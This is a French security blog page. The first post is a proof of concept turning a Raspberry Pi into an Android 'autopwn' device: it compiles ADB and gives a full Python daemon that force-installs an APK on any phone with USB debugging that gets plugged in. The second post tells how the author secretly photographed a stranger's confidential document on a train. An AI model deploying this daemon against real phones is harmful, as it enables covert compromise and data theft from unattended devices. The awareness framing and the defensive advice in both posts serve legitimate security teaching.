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nov.
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Android autopwn avec un Raspberry Pi

Publié le 23 novembre 2012

Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de projets basées sur ce fameux composant. Bon, par souci de lecture (et aussi par fainéantise), nous l'affublerons du sobriquet "Rasppi" dans la suite de cet article.

Le Raspberry Pi c'est le bien, prenez en !

J'étais tellement fou de joie de l'avoir reçu que j'en ai fait le sujet d'un meeting HZV, afin de faire un retour d'expérience sur l'utilisation de cette bestiole. Après quelques semaines à le bidouiller, j'ai ainsi pu découvrir quelques hacks ingénieux, mais aussi les limites du Rasppi. Car oui, à ce prix là (~35€), on en a pour son argent: le processeur n'est pas une bête de course, la RAM limite (mais suffisante) et surtout des lacunes dans l'alimentation. Ce dernier point ne pose pas de souci majeur, nous allons donc l'oublier (il fera l'objet d'un futur article).

Si vous tenez absolument à en faire un PC de salon, ou pire un média center, c'est votre droit mais ne vous attendez pas à des miracles. Par contre comme PC embarqué dans de petits boitiers, ou alimenté via une batterie USB, c'est le pied ! Je vous conseille ce genre de modèle (de chez Novago), qui tient la route (quelques heures d'autonomie) avec un Rasppi seul:

Si vous souhaitez mettre du Wifi, c'est une autre paire de manches. J'aborderai cet aspect dans un prochain article. Pour le moment, on dispose d'un PC de poche alimenté sur batterie, pour moins de 80€.

J'allais oublier, il lui faut aussi une carte SD haute capacité (HC), pour ma part j'ai opté pour une Sandisk de 16Go Class 10. J'en ai profité pour installer une Raspbian (un portage de Debian Wheezy pour architecture ARM), à partir des dépots officiels.

Le côté obscur du Rasppi

Une des premières idées que j'ai eu quand j'ai entendu parler du Rasppi concerne une attaque physique. Je suis parti du constat que beaucoup de possesseurs de smartphones Android ont rooté leur engin, pour des raisons plus ou moins valables (comme par exemple installer ZeroSMS =). Et qu'un bon nombre de ces possesseurs de smartphone ont activé l'option de débogage via USB. Et qu'ils vont laisser traîner leur smartphone un peu partout. Ou laisser le montage de la carte SD en automatique lors de la connexion d'un cable USB. Je pense que vous voyez où je veux en venir: avec un Rasppi, on peut très facilement avoir juste un cable qui dépasse, et se connecter à un smartphone laissé sans surveillance. Pour en faire un peu tout et n'importe quoi.

La preuve de concept que je vous propose de réaliser est la suivante: transformer un Raspberry Pi en outil de compromission automatique de smartphone sous Android. Je ne vais pas vous donner d'outil tout fait, cela n'est pas la politique de la maison, mais plutôt vous démontrer qu'avec très peu de moyens ce type d'attaque est tout à fait envisageable. Commençons par bidouiller notre Rasppi.

Une fois le Rasppi configuré, on peut s'y connecter en SSH pour faire un brin d'administration. On va commencer par installer git:

# apt-get install git

Et on enchaîne en téléchargeant le code source d'ADB (Android Debug Bridge), un outil du SDK d'Android permettant de communiquer avec un périphérique via une connexion USB et de faire à peu près tout ce que l'on veut. Comme par exemple accéder au contenu de la carte SD, installer/désinstaller des applications, voire même modifier des paramètres système si le smartphone est rooté. On doit le compiler car le SDK de base d'Android ne contient qu'une version x86, et pas ARM:

# apt-get install build-essential libncurses5-dev
$ git clone git://codeaurora.org/platform/system/core.git system/core
$ git clone git://codeaurora.org/platform/build.git build
$ git clone git://codeaurora.org/platform/external/zlib.git external/zlib
$ git clone git://codeaurora.org/platform/bionic.git bionic

On récupère ensuite un Makefile que l'on copie dans le dossier system/core/adb:

$ wget https://gist.github.com/gists/958335/download -O system/core/adb/Makefile.tgz
$ cd system/core/adb
$ tar xvzf Makefile.gz
$ mv gist958335-3311049e9dc7b506f37b752c4f046997086e13fc/Makefile Makefile
$ rm -rf gist958335-3311049e9dc7b506f37b752c4f046997086e13fc

On modifie la ligne qui définit TOOLCHAIN de manière à ce qu'elle ne soit pas paramétrée:

...
# ancienne ligne
# TOOLCHAIN= arm-none-linux-gnueabi-
TOOLCHAIN=
...

Et on compile:

$ make
$ cp adb /usr/local/bin/

Si vous avez tout suivi, vous devez vous retrouver avec une version d'ADB. Je me suis inspiré de cette page, je vous invite à vous y reporter si je n'ai pas été très clair.

Il ne reste plus qu'à coder un daemon en python qui surveille les connexions et déconnexions de périphériques USB, et qui lance une ou plusieurs commandes avec ADB lors de la connexion. Voici un exemple de code qui fait l'affaire:

import re
import sys
import subprocess
from time import sleep
from daemon import Daemon

device_re = re.compile("Bus\s+(?P<bus>\d+)\s+Device\s+(?P<device>\d+).+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$", re.I)

class AndroPwnDaemon(Daemon):

        def get_devices(self):
                df = subprocess.check_output("lsusb", shell=True)
                devices = []
                for i in df.split('\n'):
                        if i:
                                info = device_re.match(i)
                                if info:
                                        dinfo = info.groupdict()
                                        devices.append(dinfo['id'])
                return devices

        def run(self):
                print 'AndroPwn - Android Autopwn via Raspberry Pi ]'
                print '>> author: Damien "virtualabs" Cauquil <virtualabs@gmail.com>'
                print ''
                devices = self.get_devices()
                while True:
                        devices_ = self.get_devices()
                        for device in devices_:
                                if device not in devices:
                                        print '[+] New device connected, infecting ...'
                                        # True evil code here (this one only gets uname :)
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','push','/home/pi/andropwn/0wn3d.txt','/sdcard/'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','install','/home/pi/andropwn/evil.apk'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        print output
                        devices = [i for i in devices_]
                        sleep(1)

if __name__ == '__main__':
        daemon = AndroPwnDaemon('/tmp/andropwn.pid',stdout='/tmp/andropwn.log')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        sys.exit(2)
                sys.exit(0)
        else:
                print 'usage: %s start|stop|restart' % sys.argv[0]
                sys.exit(2)

Cette version ne fait que dropper un fichier texte sur la carte SD (si celle-ci est accessible) et installe de force un APK nommé evil.apk. Libre à vous de faire un script permettant de le lancer automatiquement au démarrage, personnellement c'est ce que j'ai fait pour ma démo. Le fichier evil.apk n'est rien d'autre que l'application PodcastAddict qui s'installe automatiquement à l'insu du propriétaire du smartphone ciblé. Ci-dessous une démonstration de l'attaque (soyez indulgent, ça doit être ma première vidéo sur youtube, et mon matériel de montage ne supporte pas le format du caméscope. Sans parler du wallpaper de mon smartphone, enfin je pense que vous pouvez comprendre =).

<center><object width="560" height="315"><param name="movie" value="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="wmode" value="opaque"><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true" wmode="opaque"></embed></object></center>

Quel est l'intérêt de passer par ADB me direz-vous ? Il est double. D'une part on a accès à presque tout (enfin ça dépend des versions d'Android, notamment les ROMs fournies par les opérateurs), et d'autre part cela fonctionne même lorsque le smartphone est en veille ou verrouillé ! On peut bien sûr faire plein d'autres choses, comme par exemple aspirer tous les fichiers présents sur la carte SD, lancer des applications à la place de l'utilisateur, rooter le smartphone, bref il n'y a vraiment pas de limite.

Conclusion

Deux points importants dans ma conclusion. Le premier concerne le fait de rooter un smartphone: ne le faites pas sans savoir à quoi vous vous exposez, ni aux risques que vous prenez. Le second point concerne la sécurité physique des smartphones: même verrouillés, évitez de les laisser traîner ! Gardez votre smartphone sous bonne surveillance, et prenez soin de désactiver les fonctionnalités inutiles.

Les smartphones ne sont rien de moins que des ordinateurs de poche, qui font accessoirement office de téléphone. Il faut avoir la même hygiène (si ce n'est pire) que celle adoptée avec les ordinateurs portables.

28
sept.
'12

Tout est sous contrôle

Publié le 28 septembre 2012

On vit une drôle d'époque. Sincèrement. Il suffit que tout récemment certains utilisateurs de Facebook se rendent compte (en allant déterrer leurs messages d'avant 2009) que leur vie privée n'était pas si privée que cela pour que des ministres demandent des comptes et lancent une enquête de la CNIL. Tout ça parce que des utilisateurs n'ont pas (encore) compris que mettre sur un serveur distant des données personnelles (et pour certaines confidentielles) les rendait hors de contrôle. La bonne blague. Comme si ce genre de problème ne se produisait que dans le monde virtuel, le monde numérique.

Confidentiel, vous avez dit ?

Je forme des gens à la sécurité informatique, et plus généralement à la sécurité de l'information. Et cela plusieurs semaines par an. Et ce soir, en rentrant du boulot (où je dispense une formation, comme c'est étrange), une femme vient s'asseoir sur le siège diagonalement opposé au mien, dans un train de banlieue comme il y en a tant. Un train bondé, rempli de gens éreintés. Mais contrairement aux autres personnes qui ont déjà dégainé leurs smartphones, elle sort un bloc-notes ainsi qu'un document de quelques pages sur lequel est inscrit la mention "CONFIDENTIEL" en rouge, et encadrée.

Elle fait cela sous le nez de trois personnes, et commence à annoter le document comme si de rien n'était. Confidentiel, c'est marqué. On est trois à lorgner sur le document, et elle continue d'annoter: "Expliquer le schéma, comme je l'ai indiqué", "Non.". Le nom de sa société est visible, le document concerne une proposition commerciale, et le nom du client traîne pas très loin. Du grand art, je vous dit. J'avais mon smartphone dans les mains, en deux mouvements de doigt je lance l'appareil photo, coupe le son, et prend une série de clichés (avec zoom) de ce document annoté. Comme si de rien n'était. Et personne n'a rien remarqué. Normal quoi. Un smartphone, un geek, et une position qui fait style "je ne veux pas que vous puissiez voir mon écran".

Espion en herbe

J'ai été assez étonné de ne pas voir cette personne s'offusquer, car bon trois personnes qui reluquent son document ne l'ont pas fait broncher, et encore plus de pouvoir prendre ces photos sans me faire repérer. Je connais certaines personnes qui ont eu des problèmes juste en laissant un document annoté "CONFIDENTIEL" sur leur bureau, sans que même d'autres personnes y ait eu accès. Mais non, "CONFIDENTIEL" devait être là juste pour faire joli. Et pourtant je suis sûr que cette personne fait tout de même attention à ses documents sur son ordinateur, et à ses dossiers. Qu'elle trie tout comme il faut, et fait attention aux documents qu'elle transmet et stocke dans ses emails. Enfin j'ose espérer.

Pourtant, avec un smartphone tout ce qu'il y a de plus abordable et commun, n'importe qui peut se transformer en espion et prendre des photos à l'insu de personnes, en toute discrétion. Imaginons deux minutes que je travaille chez un concurrent, et l'on pourrait envisager que je puisse me servir de cette information. D'ailleurs ce n'est pas sans vous rappeler certaines personnalités qui se sont fait avoir avec une photo de documents sous le bras ... Même Nokia peut vous faciliter la tâche, avec ses derniers modèles intégrant une stabilisation de l'image, tout en étant hype.

Dernier point, et non des moindres: il est possible de nos jours de prendre une photo d'une personne ou d'un document à l'aide d'un objet très répandu, sans que personne ne le remarque. Un peu comme les appareils photos miniatures utilisés par des supers-espions à l'époque de la guerre froide, mais en plus gros. Sans que cela n'attire l'attention. Sans un bruit. Car le célèbre "clic" peut être désactivé, autorisant les prises de vues furtives. Et ce n'est pas neuf, malheureusement.

L'accès à l'information

Vouloir protéger l'information est une noble cause, et cela passe par différents mécanismes mis en œuvres: des procédures internes, une classification des documents, ainsi qu'une politique de mots de passe solide et éprouvée. On arrête pas de le dire. Mais vous ne pourrez jamais être derrière tout le monde, et encore moins derrière les bourreaux de travail ("workaholics") qui continuent de bosser dans le train qui les mène chez eux. Parce que bon, les objectifs et la carrière sont importants. Quant à la confidentialité ...

D'ailleurs, si par le plus grand des hasards cette personne lit ceci et se reconnaît, qu'elle n'hésite pas à me contacter. Sait-on jamais.



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